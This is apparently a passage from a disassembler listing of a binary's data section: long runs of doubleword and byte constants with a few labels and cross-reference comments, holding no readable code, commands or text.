		dd 0EC25429Ah, 0E4CA155Ah, 1BE81EB6h, 75668832h, 1566C63Dh
		dd 0FAE72232h, 5E220B2Ch, 15696153h, 26D24432h,	75A5837Fh
		dd 0A048A6F0h, 9C9C49F4h, 0ECD3BBABh, 75608A03h, 156614DBh
		dd 0CEBE7C32h, 4E344794h, 0D6E3AF53h, 1A60B908h, 156698BBh
		dd 156DAD32h, 0AB7D2232h, 1D360E98h, 81978F05h,	0FCB6BB2Eh
		dd 15662235h, 801CDB34h, 75A9C68Fh, 156649DBh, 0DF5C1C32h
		dd 0F510E454h, 91C79C7Ch, 9E69F6F4h, 15662237h,	2C2F768Dh
		dd 90EFE974h, 13C9C51Eh, 15662FDBh, 0C1E46D32h,	9014613Ch
		dd 18C9D89Dh, 90A0A67Eh, 13CE04E7h, 0AA00E87Dh,	7D0749B9h
		dd 8253B2E6h, 0D4D11E52h, 741B7AB2h, 249FF1CDh,	989F249Ah
		dd 0BD5CD2B7h, 15606134h, 21624432h, 0ECECD628h, 0FCB6EECAh
		dd 15668835h, 0AD5AB303h, 1A8934B5h, 156601B9h,	156D6132h
		dd 8D854432h, 71BD447Ah, 0AF60F36Fh, 25E30102h,	1A60EBB3h
		dd 15662EBCh, 13E81E32h, 1A668832h, 156644BFh, 0C0E3E432h
		dd 5A60B927h, 0D2EDEE52h, 74ADFB3Dh, 7B68205Ah,	1577F8CBh
		dd 0DDAC8832h, 9B71D949h, 178F9C4Ah, 8DD218C3h,	0EA1EF8B1h
		dd 0BD57BD87h, 0ACDD4234h, 0FC4B9A79h, 15668835h, 7AEC1E7Fh
		dd 74163C01h, 2FA594BFh, 99698E9Ah, 1566443Eh, 1560A73Dh
		dd 94691132h, 15668832h, 75B6BBCBh, 0DED12D64h,	90EF706Bh
		dd 13C90906h, 156656DBh, 1C95D132h, 1F889D44h, 50CAA75Eh
		dd 37865E2h, 0D3D8A492h, 0BD73C4B7h, 1E8FC534h,	7C664432h
		dd 989D701Ah, 44BFB4A3h, 5C0E8982h, 0FCAE734Bh,	1566223Bh
		dd 6B3CC8CEh, 0F346D04Eh, 0ECD3BBA3h, 0FC608A03h, 1566113Dh
		dd 0F22CEB64h, 69BA79C7h, 96251304h, 98B0AC5Fh,	0BD5C4BB7h
		dd 1577AD34h, 0D30E2232h, 576D156Ch, 0F7F83F80h, 0F93E7C7Bh
		dd 0EAF38315h, 0FC06EDE2h, 15668820h, 42F2063Fh, 29640015h
		dd 90B27EA7h, 346F4C63h, 9536A527h, 7438E1D8h, 945A94BBh
		dd 94068E9Dh, 81AE56D0h, 0AA697458h, 0D30748E3h, 0BD735DB7h
		dd 7D9F0934h, 0C9916FBBh, 0FFE77752h, 75071871h, 1565CD3Dh
		dd 0AA692232h, 0A09970CBh, 13CEB9CBh, 0D6E3C9C7h, 75608A08h
		dd 0E340D6B3h, 9AD7B982h, 75B6BB53h, 0AE6BE9B2h, 6F55C314h
		dd 15686153h, 0C6494432h, 0ABEA042Ah, 419148A7h, 1E3567E1h
		dd 945EC1BBh, 0D39F249Dh, 0BD73C4B7h, 9506DD34h, 9C691AFEh
		dd 15662232h, 38517953h, 9F691429h, 15664420h, 0FD074252h
		dd 1566113Ah, 38F5829Dh, 176FB3C6h, 0A099436Ah,	13CE20CBh
		dd 0D6E305CEh, 7560EC08h, 1571A73Dh, 78F1132h, 0EC668832h
		dd 11AE59AFh, 35C5AFFFh, 0A80FE449h, 1DE615C8h,	1560AC75h
		dd 47E82232h, 2EC4323h,	95E8BC8Dh, 0EA071C04h, 1EEC2DE2h
		dd 75661132h, 15660A3Dh, 0FBE64432h, 976943E7h,	15661133h
		dd 55E301CAh, 1A60EBB3h, 15662AB2h, 17EA1E32h, 75668832h
		dd 90A0BC53h, 13CE37E7h, 3F0EE971h, 0ECB45DC2h,	249FF1CDh
		dd 1A06249Ah, 156614B5h, 79CA3732h, 0B9D919FCh,	7456197Ah
		dd 2FA594BFh, 97698E9Ah, 1566443Ah, 1564AE3Dh, 74061132h
		dd 48F58CDh, 7D664432h,	1E627CF4h, 8BD1A370h, 4D5EC1D0h
		dd 80C763DEh, 9422A7BBh, 9069179Dh, 15668824h, 156655DBh
		dd 2ECC5032h, 0AE7C941Dh, 179465Eh, 18355DB2h, 90A04A9Ah
		dd 13CE04E7h, 0FF0E7160h, 0FC9B0686h, 15662221h, 3CC94933h
		dd 0C9A407EDh, 1A4E5829h, 42E52F76h, 0EDA8DE3Eh, 249F3DCDh
		dd 9406429Ah, 1D00CEC5h, 10EF1E57h, 73668832h, 34DF96B3h
		dd 0D6E3AF53h, 0FC60B908h, 15668820h, 41F188EEh, 0BA9E0181h
		dd 76BD527Bh, 9ADAF3CBh, 0C5994D6Bh, 84E3ABCBh,	0FC60B906h
		dd 15668838h, 579FEC36h, 0D74CF27Ah, 90A0749Bh,	13CE9DE7h
		dd 9569BC75h, 15662221h, 156B9D3Dh, 1D8F8832h, 4664432h
		dd 1F91FD93h, 7DE7C7F9h, 0F7FED1ABh, 156ECE3Dh,	95062232h
		dd 9E00EBF4h, 0A099E9FDh, 13CE75CBh, 156636DBh,	94668432h
		dd 0AA2B31F6h, 3F1428ADh, 93966D5Eh, 179028BCh,	0D6E305FAh
		dd 1A60EC08h, 15662EBDh, 13E01E32h, 1A668832h, 156644B2h
		dd 0C599D732h, 156619DBh, 0B9B1BD32h, 0D23F81FFh, 18EC2D74h
		dd 0FC661132h, 1566883Ah, 0FA9805C7h, 7BE0F226h, 942E94BBh
		dd 73068E9Dh, 9E0086B9h, 198F43C3h, 16661132h, 36BD8B82h
		dd 0F47A2652h, 0D38DE257h, 0BD73C4B7h, 7D9ECF34h, 0A49B24F0h
		dd 1575CB52h, 2D4F1132h, 6BD1B8Ah, 0C9BAD9ECh, 4A6063DFh
		dd 2C721786h, 9369E8FEh, 15664432h, 156625DBh, 0F20A1332h
		dd 73B75D45h, 0A0992553h, 13CE13CBh, 15679E3Dh,	0ED938832h
		dd 2FA5C1BFh, 0ED9A249Ah, 9C93C1CDh, 0BAE7C4B7h, 1CEB4B34h
		dd 75662232h, 19D84B60h, 74534D3Fh, 0B3C1F4h, 0ED21249Ah
		dd 0B398055Ah, 7E187EDh, 0FC664432h, 1566223Fh,	0DE7CE480h
		dd 9AF487F4h, 7C26D1EDh, 0ECD3DDE0h, 0E060B903h
		db 0BFh
byte_5C3A41	db 0Dh,	0A5h		; DATA XREF: ___:off_438438o
byte_5C3A43	db 2Fh			; DATA XREF: ___:off_43A570o
dword_5C3A44	dd 0EA93429Ah, 1561CBE2h, 85A21132h, 0C925343Dh, 45E3CDB8h
					; DATA XREF: ___:off_43A568o
		dd 0FC608DB3h, 15661122h
		db 7Dh,	41h, 1Ah
		db 0F8h
		dd 0EF8900D3h, 0BFB3F485h, 3235356h, 0B30DF4h, 1A39429Ah
		dd 156625B7h, 14EE1E32h, 0ED668832h, 0E70E2CCBh, 0EC06BC62h
		dd 156614DBh, 0FD344732h, 1A07CA2Dh, 156637B0h,	1576F832h
		dd 0E21A8832h, 7ACD4193h, 158840B8h, 36942F12h,	0A099F5DBh
		dd 13CE75CBh, 0D6E3AFCBh, 7560B908h, 0D92D52B3h, 0CDED4A7Dh
		dd 1569CB53h, 8C8A1132h, 0C0CE7863h, 22C4813Eh,	0EA5FDBF3h
		dd 1AB6EE71h, 15668FB2h, 14EB4B32h, 0ED662232h,	943294BBh
		dd 0D3938E9Dh, 0BD7391B7h, 68F6D34h, 30661132h,	0FC343EFCh
		dd 69DA9EBCh, 7BF02424h, 0AFF7394Ch, 2A0EC153h,	75A1B849h
		dd 1560AC3Dh, 97691132h, 15668832h, 6DF1FC65h, 7439025Dh
		dd 249FA4CDh, 46068E9Ah, 0FC391385h, 1566223Eh,	72AE377Eh
		dd 741C76E0h, 0D399D2BBh, 0D6E3AF53h, 0FC60B908h, 15668839h
		dd 7E9A9A22h, 152D092Dh, 1A37B395h, 156689B2h, 0C599B132h
		dd 157FAA3Dh, 98691132h, 15668821h, 15664ADBh, 442D1832h
		dd 0ECABA9E0h, 1A57C28Fh, 9C95BC65h, 0BAE7A2B7h, 90A0ED34h
		dd 13CE9DE7h, 156FAD75h, 0CC52232h, 0D979E7DEh,	7DC0827Ah
		dd 0EF3D2A7Eh, 1574AA3Dh, 188F1132h, 6A668832h,	0E68B62D9h
		dd 0C42D98F1h, 0F9FAEF2Eh, 0DDBA0852h, 74A6F33Dh, 249F97CDh
		dd 78F179Ah, 8F668832h,	432443C0h, 5373D6E9h, 4E517D40h
		dd 51DE04h, 0D6E3C995h,	0FC608A08h, 15661135h, 0E2E137B7h
		dd 0EA9B2270h, 17EA2DE2h, 75661132h, 91E30153h,	0E060EBB3h
		dd 0B3A7F4h, 0ED21179Ah, 1342455Ah, 0A099B1F1h,	13CE13CBh
		dd 0D6E39CCBh, 1A602008h, 15665ABDh, 48F4232h, 52661132h
		dd 8FAFBD87h, 3CDE7A14h, 54235DB0h, 0DF4A4E1Ch,	7F0962B3h
		dd 0EA073205h, 0EF2DE2h, 0FC661132h, 15668822h,	39D56BEBh
		dd 9A87440Ch, 77E76786h, 0BD0166C1h, 94EEC1BBh,	0FC06249Dh
		dd 15661137h, 6DAC44F3h, 7463F088h, 0B3A7F4h, 0FC39179Ah
		dd 1566883Bh, 38A55816h, 0D1500BD6h, 75AA7946h,	48F5C89h
		dd 9F664432h, 0C8449A83h, 0E13704A3h, 0D2F0AE9h, 9F2437FEh
		dd 0ECD3DDCEh, 0FC60B903h, 15668839h, 0A4F6E2E4h, 7C2C27F4h
		dd 98C50D36h, 0BD5C4BB7h, 2EC4B34h, 75662232h, 1566943Dh
		dd 1F8F8832h, 78664432h, 0B8A635CDh, 0BC493E37h, 0C599E95Ah
		dd 1567C63Dh, 9C932232h, 0BAE749B7h, 90A07134h,	13CE51E7h
		dd 1BE32D6Dh, 75661132h, 1566093Dh, 0E6E74432h,	35D020B7h
		dd 5B0EED53h, 1AF86166h, 15664BB5h, 156CCB32h, 0D4661132h
		dd 0C078F6DEh, 432F9C10h, 0ECD3DDCEh, 0FC60B903h, 15668822h
		dd 0B1A2A2DFh, 0A8ECA23Dh, 0F07EB92Fh, 55882A00h, 2FA5C1BFh
		dd 9169249Ah, 15661133h, 75B677CEh, 0C0E69DB9h,	90EF434Eh
		dd 13C9906Eh, 156680DBh, 0F163A432h, 2111E2B3h,	0C0E3D79Dh
		dd 4A602027h, 1561C03Dh, 94692232h, 15661133h, 3D2EE0CEh
		dd 94699521h, 15662234h, 0C3B49152h, 0A099E9C7h, 13CE75CBh
		dd 0D6E3AFCAh, 0ED60B908h, 1B8F58CDh, 89664432h, 0BEF7B953h
		dd 0ED33EE89h, 0BD87E1D3h, 75E3CDDEh, 0ED608DB3h, 15661BDBh
		dd 76EFDC32h, 0BB302B95h, 7F3AC367h, 1569F836h,	0D7258832h
		dd 702FFD3Ah, 455E33CAh, 0B45ADF39h, 566E02Eh, 0FD064432h
		dd 15662239h, 0F6B3284Dh, 61F0D473h, 94F9C365h,	0C0BFD5FAh
		dd 1A064F3Bh, 156688B2h, 7498CF32h, 5664A53h, 0FC061132h
		dd 1566883Dh, 746298D7h, 0BFF235C1h, 0DE875BBFh, 739DB755h
		dd 74B4E489h, 1A062258h, 0AA69E18Dh, 8099E9E8h,	13CE648Fh
		dd 0A0DE42CAh, 745E1C9Eh, 18530DBBh, 0A706429Ah, 10E82DE5h
		dd 73661132h, 21377EB3h, 22E3C953h, 0FC608D7Ah,	15661138h
		dd 6AEDF85Eh, 0D62911E6h, 0C599B444h, 1575943Dh, 92698832h
		dd 1566443Fh, 15662ADBh, 7A008532h, 95B3DEDh, 75622E98h
		dd 0FA759954h, 0FC3E4152h, 1566883Dh, 2F63B290h, 5007FC7Dh
		dd 255DF441h, 741B15ABh, 5662C53h, 9A692232h, 15661135h
		dd 15670A3Dh, 7D9F4432h, 15660232h, 15769B3Dh, 1E8F8832h
		dd 0FD664432h, 882529A1h, 47AFECDDh, 150C1CA0h,	15664EDBh
		dd 9A7CD332h, 0EEE317E5h, 0EADD815Ch, 0BD46F9A7h, 8BDF4234h
		dd 0FD3D5DC3h, 15668837h, 8C87CC93h, 1A077B8Eh,	156604BEh
		dd 15766132h, 1314432h,	3C7CC1AAh, 62BAEF6Eh, 0C8830D02h
		dd 90EF1578h, 13CE38A3h, 24E398CBh, 0FC60202Ch,	15664438h
		dd 3F6FCDDBh, 0AF303263h, 550CEAD2h, 156657DBh,	78F4F732h
		dd 1EECCFC4h, 5140A8AAh, 144B8A18h, 0F5CB5F6Fh,	1576115Ah
		dd 150E7D32h, 75664532h, 15E82D60h, 4D661132h, 74B10354h
		dd 0EA9A4458h, 0BD469FA7h, 90EFE934h, 13CEBADFh, 7CD3CFC7h
		dd 0ED608A29h, 0A238CB9h, 9E698E9Ah, 15664435h,	1567AA3Dh
		dd 9C931132h, 0BD7C3987h, 19EA4B34h, 0FC662232h, 15661135h
		dd 408EA0DDh, 9C86B589h, 0BD6A63AFh, 1577F834h,	0CD228832h
		dd 0BAE1E3B9h, 0BFDCE2BCh, 65E27A01h, 9ECD2E41h, 0BD7901AFh
		dd 96694234h, 15661137h, 7BAC0954h, 7467F29Ah, 156625DBh
		dd 96BE1D32h, 11D5902h,	19ED77CDh, 11A2A116h, 159F92CBh
		dd 2C6C0C3Dh, 108F4432h, 0D662232h, 0C44FC8FFh,	1533CE5Ah
		dd 3162CD32h, 156628DBh, 81CF4232h, 3FBDD4C6h, 7D14EB09h
		dd 15666E8Bh, 0E9421DBBh, 0D5577452h, 1570C23Dh, 96692232h
		dd 15661122h, 156683DBh, 0E5C55932h, 0D9CCAFB8h, 0DC82DC57h
		dd 15669ADBh, 0E424DC32h, 98528F7Bh, 8A1B5616h,	5FF96528h
		dd 9C2564A9h, 0BD685FB7h, 9C697134h, 15668832h,	42076582h
		dd 0FD5EF95Ah, 150E4E56h, 3C668832h, 0D439600Eh, 0FAE725DDh
		dd 14503E60h, 0EC3976BBh, 6B1CFC62h, 0D34F1B41h, 3112126Ah
		dd 6FA00912h, 0E95F374Ch, 156630DBh, 4C444D32h,	0F425254h
		dd 0C36D9CF6h, 4B5648F3h, 7352C8FCh, 156D619Fh,	0E0164432h
		dd 6509D3E2h, 76E97706h, 535FA5BFh, 5A6347D5h, 1662317Eh
		dd 38463576h, 1175C47Dh, 0F2207D37h, 1576CB31h,	7FB41132h
		dd 0A7629F91h, 6689B78Bh, 1602D345h, 0AC37035Dh, 1566884Ah
		dd 24ED8533h, 94422EB9h, 156615F6h, 9D697132h, 1566443Ah
		dd 1564A83Dh, 74061132h, 7E9A4EB3h, 0FBE769C3h,	5790BEAh
		dd 35426531h, 3CBE4EB3h, 0FBE7542Dh, 389749CEh,	156601DBh
		dd 360B0932h, 0E2DE4820h, 0AA776B5Fh, 0A5C1FF01h, 0AC3774B5h
		dd 1566442Ah, 2CEDD333h, 96421DB9h, 1D8F8CF6h, 99664432h
		dd 4CED3807h, 9CC307EFh, 0BD6DC98Fh, 1563AD34h,	0E7DA2232h
		dd 900710BBh, 33E387CDh, 75664432h, 156ACB52h, 7BAE1132h
		dd 16E7F18Ah, 5855F048h, 7406E193h, 0EEED7753h,	4A146053h
		dd 0FC9F4432h, 15662735h, 38E79CAh, 19EF8832h, 94002416h
		dd 95478DC5h, 420789F3h, 94429CB9h, 156640F6h, 156DCB32h
		dd 47B91132h, 4FAD1EAh,	42138C46h, 11B449ECh, 60F398CBh
		dd 1A60203Dh, 156648BFh, 13E12D32h, 1A661132h, 156688B4h
		dd 0FC622E32h, 15662223h, 4BF59C0Fh, 1278E8FDh,	0ACA8BA8Ch
		dd 82B8EF55h, 56679D4h,	128F8832h, 15664432h, 45675406h
		dd 9C36CB88h, 15628DD2h, 0FDE54432h, 3162A536h,	3172986Eh
		dd 1A66E2CBh, 156643BEh, 14E12D32h, 0EC661132h,	1561043Dh
		dd 9E694432h, 15662233h, 0A8F3EECAh, 0EC602012h, 0BFBC1BBh
		dd 9C69249Ah, 15661125h, 15669ADBh, 84DF4432h, 54B3850Bh
		dd 0FBB73C6Ch, 59423C07h
		dd 756208BFh, 156AAE3Dh, 128F1132h, 0D668832h, 37F1BEFDh
		dd 0AC007720h, 45079686h, 5142BCB3h, 4F4BB556h,	71229A62h
		dd 0D7573CC3h, 1577616Ah, 0B97D4432h, 0FBD9F4A3h, 6561C189h
		dd 6E53E72Eh, 0EA11CFBAh, 943F0606h, 156615F6h,	0ED9FE832h
		dd 14EE4B53h, 0EC662232h, 153856DAh, 7E48732h, 0FC664432h
		dd 1566223Fh, 19B8B1CCh, 68381936h, 0A5F6BB22h,	118AA104h
		dd 0EC4225BBh, 1572619Fh, 4DB54432h, 1A3436F3h,	0CC14C45Ch
		dd 0BD8FFCB2h, 5EB53416h, 109AED5Ah, 7B960141h,	3142CC31h
		dd 515FB65h, 0ED4F4CC2h, 1BEE1E6Dh, 75668832h, 1566C13Dh
		dd 90692232h, 15661132h, 249EB953h, 1A9E75F5h, 156623B6h
		dd 429FE932h, 29CB3765h, 69672336h, 4E392616h, 29CBFAB3h
		dd 9669EF36h, 15664433h, 16BA4AC7h, 29EF1132h, 90697116h
		dd 1566443Ah, 0BB6A352h, 740C777Fh, 0BB934802h,	9369B947h
		dd 15662224h, 156600DBh, 0E2CA2932h, 3DE554E3h,	9EF7590Eh
		dd 0AD9DC7Ch, 0FC06372Dh, 1566443Fh, 0C65C135Dh, 7631F147h
		dd 0E53AD327h, 15E84B7Fh, 74662232h, 0EAD11E52h, 2199E9CBh
		dd 0D1E51A16h, 0FAE7DE36h, 7C667EC0h, 90967B3h,	0CA4F2077h
		dd 909E5B3h, 0D2E77577h, 7C66E7C0h, 5D92252h, 0D5D92D80h
		dd 0F0EF4453h, 15624DB3h, 0F8E74432h, 15662236h, 49423DB5h
		dd 0E0429CBBh, 9C62A8B1h, 1A3C060Eh, 15661BB3h,	0D3E7E832h
		dd 4192D064h, 9E074352h, 0BD6B248Fh, 0EADF7434h, 1A99BBCDh
		dd 15662AB7h, 17E81E32h, 75668832h, 75A67553h, 1A9D9D3Dh
		dd 0E907D78Dh, 15DED863h, 9C664432h, 0E4677AF3h, 1A3F10B8h
		dd 15668EB4h, 74062432h, 25074352h, 1561F8FAh, 9BB38832h
		dd 310073Ch, 14DF73BAh,	14661132h, 0EA9AD1FCh, 39E7C306h
		dd 0E919C516h, 31629A0Ch, 10624CB1h, 2B9A3BD5h,	0DCA7A252h
		dd 2E91E53h, 0FC668832h, 15664420h, 4335AE63h, 6F101E58h
		dd 8070859Bh, 46505A73h, 0FCA7A912h, 108F713Ah,	0D2668832h
		dd 96D89615h, 156CCB62h, 20FD1132h, 0E64B3EDh, 5D7F7338h
		dd 249F436Bh, 1A2CEDF3h, 0EA99E8B7h, 156DADCDh,	0DB762232h
		dd 4664D209h, 14781A7Eh, 11E7151Ah, 323AD416h, 0AF344964h
		dd 7D5C91BAh, 0F7E70670h, 688E6409h, 0B672FBB3h, 0C54F9A32h
		dd 1574AD68h, 0AF6E2232h, 2BA5C610h, 3F6E8581h,	0F3B87ED8h
		dd 942D2845h, 317A9662h, 9E15BC5h, 9B691C16h, 15662227h
		dd 15699C3Dh, 1F8F8832h, 0A0664432h, 0E59FB459h, 104CF4B2h
		dd 315277D4h, 11A2C768h, 17E62D52h, 75661132h, 13E48753h
		dd 1A664432h, 156622B9h, 0AE357032h, 15668832h,	7FEA87B3h
		dd 0C6673225h, 7FEAFAB3h, 16EF9825h, 4531B869h,	0B91F758Ah
		dd 0C591592Fh, 386260F3h, 1B437C54h, 143EE5BBh,	9E064EC8h
		dd 0DFD987C8h, 0F7EF1653h, 1562E0B3h, 0FFE71132h, 15668836h
		dd 494250B5h, 0FC4236BBh, 15661139h, 878E6770h,	0CD145EB0h
		dd 0EA28434Bh, 0BD686CB7h, 80ED7134h, 13CE4A4Fh, 156BCBC7h
		dd 0ED991132h, 7998E4F9h, 0F74539F1h, 2C6F2B6Eh, 0BD6D50A7h
		dd 8DE28734h, 0E0664432h, 464236B9h, 0D6E7F2BBh, 15668836h
		dd 156287B3h, 9E12232h,	9E9A4D16h, 9C36AC06h, 156241D2h
		dd 0D5E52232h, 31629636h, 0AF00E86Eh, 9400364Ah, 74D50DEAh
		dd 156618DBh, 0ED1C6732h, 5FDDE8Eh, 0AC370FDFh,	78A70406h
		dd 99A70973h, 94571F20h, 0F6BE61F3h, 4CA81052h,	14E88752h
		dd 0ED664432h, 156627DAh, 1F5C6F32h, 1C8FB602h,	57664432h
		dd 0B98AC37h, 0B9750067h, 878FE96Ah, 1A99BBCEh,	156630BFh
		dd 156BF832h, 21B88832h, 0FC9A6056h, 0D3F4C6B2h, 0EA368792h
		dd 943CAC06h, 156640F6h, 9E374232h, 749E49C9h, 4B42BCCDh
		dd 756280B1h, 156628DAh, 0D227AD32h, 1581E70Ch,	0A6DE7311h
		dd 68F7819h, 0A9661132h, 9BAACD52h, 7B2ED495h, 28F0A50Ah
		dd 0E8ADB6CDh, 7407AA3Fh, 1567C03Dh, 0EA9F2232h, 963F3506h
		dd 1A9F8CF6h, 15664CB5h, 17EE2D32h, 75661132h, 31620353h
		dd 9480CD64h, 156626F4h, 11A09232h, 4942BCB5h, 84E383CAh
		dd 15608A1Ah, 0FC661132h, 15668839h, 0C5F831FBh, 7BC64C12h
		dd 0FC214D12h, 15668838h, 0DAB9538h, 7EB1B8E2h,	90A1AFDAh
		dd 13CEAFABh, 15664432h, 1567A23Dh, 96931132h, 0BAE6408Fh
		dd 91694434h, 15662214h, 0B9FB9CCEh, 756026ABh,	76909889h
		dd 11AAA261h, 94007153h, 74708BE9h, 9E0697CDh, 976942F9h
		dd 15661132h, 9099E953h, 13CE48F3h, 156DA53Dh, 138F1132h
		dd 94668832h, 12A6B5A9h, 0D4DBA1D2h, 7160B93Eh,	179B0A3Dh
		dd 0D29A4432h, 0BD6AE3B7h, 15661034h, 15746132h, 69BA4432h
		dd 96251304h, 66B0AC5Fh, 4AC5BA7Eh, 57EEA8B9h, 0E62D52h
		dd 0FC661132h, 15668822h, 86D25E46h, 6C0A7E65h,	6151EE7Fh
		dd 0E79892B4h, 45C2C1BFh, 1A06249Dh, 156614BDh,	9D053032h
		dd 9E000261h, 0C59943CBh, 156E963Dh, 75068832h,	17D82253h
		dd 1E8F43ADh, 6A661132h, 54855D0Bh, 4212D26Eh, 0A0EBBDB5h
		dd 13C990AAh, 156698DBh, 53890432h, 0B5C22546h,	5ED37436h
		dd 0FE9D78A8h, 19DBC940h, 0FC60923Eh, 15661123h, 51E404D8h
		dd 0CA992164h, 0C38F68B7h, 4FA73735h, 0D8DBDDA4h, 14640F38h
		dd 0E24F7FDDh, 1FABFEB3h, 78F8A79h, 90664432h, 0D2349EC2h
		dd 0EC71EF8Bh, 0AD257075h, 13FE8546h, 0AB307502h, 5296813h
		dd 1142FC03h, 0E7E71E6Ch, 5295B13h, 0A8EDE9CAh,	13CE8507h
		dd 95691252h, 15662232h, 6331A868h, 7507A007h, 15E44B61h
		dd 4D662232h, 7495D3B2h, 0EA99778Bh, 1574ADCDh,	0D7972232h
		dd 0BC62FECh, 0C57B7DF5h, 0FCBE065Bh, 0CB347F66h, 9669D103h
		dd 15668821h, 156BCD3Dh, 1D8F2232h, 0AA661132h,	0FD595657h
		dd 1AE07E30h, 15662EBEh, 13E51E32h, 1A668832h, 156644B0h
		dd 15DF7332h, 94661132h, 5A6AFDF3h, 94974501h, 5A6A57DBh
		dd 4C679B01h, 0F1A20852h, 915D9DB3h, 25071CDCh,	156DF8FAh
		dd 7DDA8832h, 0A57DC434h, 6E73A159h, 6DD429Ah, 56621660h
		dd 4773AFB3h, 0CB4F26ACh, 1E8F7169h, 0E6668832h, 0B4A5B400h
		dd 1D9477EBh, 0AA6966FBh, 2199E9F3h, 3162CFB5h,	1562E6B3h
		dd 73061132h, 0FCC13A8Ch, 1566443Eh, 8B38E260h,	0DC168BF9h
		dd 0C28184BDh, 1D8F8553h, 1561AE3Dh, 93691132h,	15668833h
		dd 1561ADC7h, 53E72232h, 70B70314h, 0E0A7B9C2h,	24E34B78h
		dd 7599DDCDh, 1563973Dh, 0EDD98832h, 0EC1EF458h, 9C367553h
		dd 4DA198FAh, 0EC3970BBh, 1572C93Dh, 1A8F2232h,	88661132h
		dd 34667D12h, 0C710D35Ch, 18B7E8A5h, 9236DFFCh,	0C791AC26h
		dd 4D4250B5h, 13E42D52h, 1A661132h, 156688BAh, 0EBD94B32h
		dd 905FD753h, 13CE3DCFh, 15F60C3Dh, 188F4432h, 5C662232h
		dd 20CEC164h, 0A757DF7Ch, 0A3CF4F6h, 8CDE7264h,	9C18F464h
		dd 8CDED0F4h, 2418A164h, 74067CC2h, 9069D139h, 1566881Dh
		dd 156CCC3Dh, 94062232h, 75347DC5h, 74A70370h, 367C1F5h
		dd 1567249Ah, 73061132h, 650D6AB3h, 15664DDBh, 0BE697732h
		dd 4288321Bh, 94074E63h, 156640DEh, 315AAB32h, 810B08Dh
		dd 0E389096Dh, 0D453DD7Dh, 0FAA721D5h, 0C4899030h, 0D44C1212h
		dd 0E2E74CDDh, 15BF15A4h, 7539E833h, 366F848Ch,	75072548h
		dd 1566A33Dh, 0FC361132h, 1566883Eh, 0F1267E5Eh, 0F5F35D60h
		dd 8B9E2D85h, 469FE96Ch
		dd 2D3DDE89h, 0C8EF771Eh, 4E3BF8BBh, 156682DBh,	13E67F32h
		dd 787E825Ah, 44C48D86h, 990B248Bh, 73AFC57Fh, 9674D41Fh
		dd 942710DBh, 388317DBh, 4CACCD15h, 1D8FD752h, 3C661132h
		dd 4DA94EB9h, 74F208CFh, 9269429Fh, 15661130h, 0FC07D264h
		dd 15664423h, 91EA3699h, 955D04F1h, 0DC6E034h, 0B7FAF05Fh
		dd 0A4D3AB1Ah, 0ED60B928h, 7506E067h, 0D43B707Dh, 0D0E720D7h
		dd 50F6E01Ch, 489AE6BBh, 0A9A22B3h, 945E8D35h, 51BFED74h
		dd 73E7A788h, 3E7A44CEh, 0E900E31Bh, 0E910903Ah, 1D628832h
		dd 0FB8879CBh, 9069CCDCh, 156611BCh, 0CE443652h, 92690A7Fh
		dd 15662230h, 9407EFB9h, 0C8BB550Ch, 66E34BEFh,	75662232h
		dd 156600DBh, 31841332h, 77666490h, 0F8A57E4Eh,	97E5339Ch
		dd 65D34953h, 750E1653h, 9E2F4837h, 0D1E53526h,	0EEA40936h
		dd 0D42A1037h, 0FFE724D8h, 1730E91Fh, 0E93C9EBBh, 1562FF61h
		dd 0FBE72232h, 15CE2157h, 0D3E75633h, 15CE7457h, 0A0EFD769h
		dd 13CE0B83h, 17E18752h, 75664432h, 74BFA953h, 154A11DBh
		dd 14E58732h, 0E0664432h, 0EA98E4DBh, 0F9E5EDCDh, 31620136h
		dd 0CD4240B3h, 4E7F5A02h, 25BEFAB3h, 1B8F914Ah,	6D664432h
		dd 44BB4061h, 7F3042BEh, 0BC1CFE3Dh, 14E3773Fh,	0FC608A24h
		dd 15661120h, 0C477CBEDh, 451E6458h, 654026F9h,	7C07CBD7h
		dd 0DDA7D653h, 0DC63B831h, 3C78A875h, 0DCDD42E2h, 3C780275h
		dd 1A061FEAh, 0F0ECDA85h, 5A6D053h, 75AEB9CEh, 0AB9ECF54h
		dd 70134B04h, 1577F853h, 76F98832h, 0E762936Fh,	215B7F73h
		dd 5826882Fh, 9C696452h, 0BD7045AFh, 9B69DE34h,	15661127h
		dd 156698DBh, 535E232h,	62FC52C7h, 9A6B89BCh, 7F0882B2h
		dd 15667905h, 96692233h, 15661302h, 2BE771CBh, 0AEDDFF89h
		dd 1744A73Dh, 91691132h, 15668833h, 0AAD913CAh,	0D407A178h
		dd 0AC3716DDh, 2492A517h, 5D8585B3h, 0F4E75DF1h, 6E8C49BDh
		dd 946E61F3h, 2F5F59C3h, 0CD97A31Ch, 2448D9AFh,	2BEFD1FDh
		dd 19EE4B6Dh, 75662232h, 622AAF54h, 0F7F878B3h,	46072555h
		dd 1566265Ah, 0CB674A32h, 0E09AE869h, 0A4D3CD53h, 1A608A28h
		dd 156631B7h, 58DCE832h, 0FD67627Fh, 15662221h,	0CD43540h
		dd 272BA28Fh, 4FF35D68h, 21B06630h, 4B0A3F4Eh, 50FB0353h
		dd 7560EC2Dh, 0FCBFF8B2h, 15661123h, 0E32A5F67h, 544E8A8Dh
		dd 0B1DF6F89h, 546A8010h, 2699E905h, 2C4FF967h,	796754A0h
		dd 4C3B1516h, 2C4F61B3h, 926932A0h, 1566223Ah, 0E3E77752h
		dd 749AD319h, 74062452h, 156625DBh, 0A1710232h,	0CB88F0ECh
		dd 16E64B53h, 73662232h, 4507C9B9h, 0D542A4B3h,	9E6CED36h
		dd 0D1E50626h, 0D5A49036h, 756C2136h, 1560C23Dh, 93692232h
		dd 15661132h, 4EB60363h, 75062453h, 0CFED43CBh,	39E74353h
		dd 3333F816h, 3162CF72h, 1062E6B1h, 55404442h, 0ECE3A3CAh
		dd 1A60EC13h, 156623B8h, 0F5A7E832h, 9D69E830h,	15664430h
		dd 15DF7962h, 74041BD9h, 156682DBh, 0EB188832h,	0C5D883BCh
		dd 16D394B2h, 0BD6FB1B7h, 156AAD34h, 0CD272232h, 0D72D0CACh
		dd 1F399472h, 4336B391h, 964226B9h, 1A3815F6h, 156683B2h
		dd 1560AD32h, 53E22232h, 0E52657B1h, 15636052h,	0CF4D4432h
		dd 94676C45h, 51724FEDh, 0FC34D315h, 15664437h,	7BC64C12h
		dd 0B8074F12h, 1567023Dh, 38934432h, 24AF7963h,	9B3F231Fh
		dd 10AE8945h, 62E81D00h, 0DC3D7337h, 0AA697103h, 156C61E1h
		dd 74D74432h, 1E2645A4h, 0F794666Ch, 51EF7053h,	94695816h
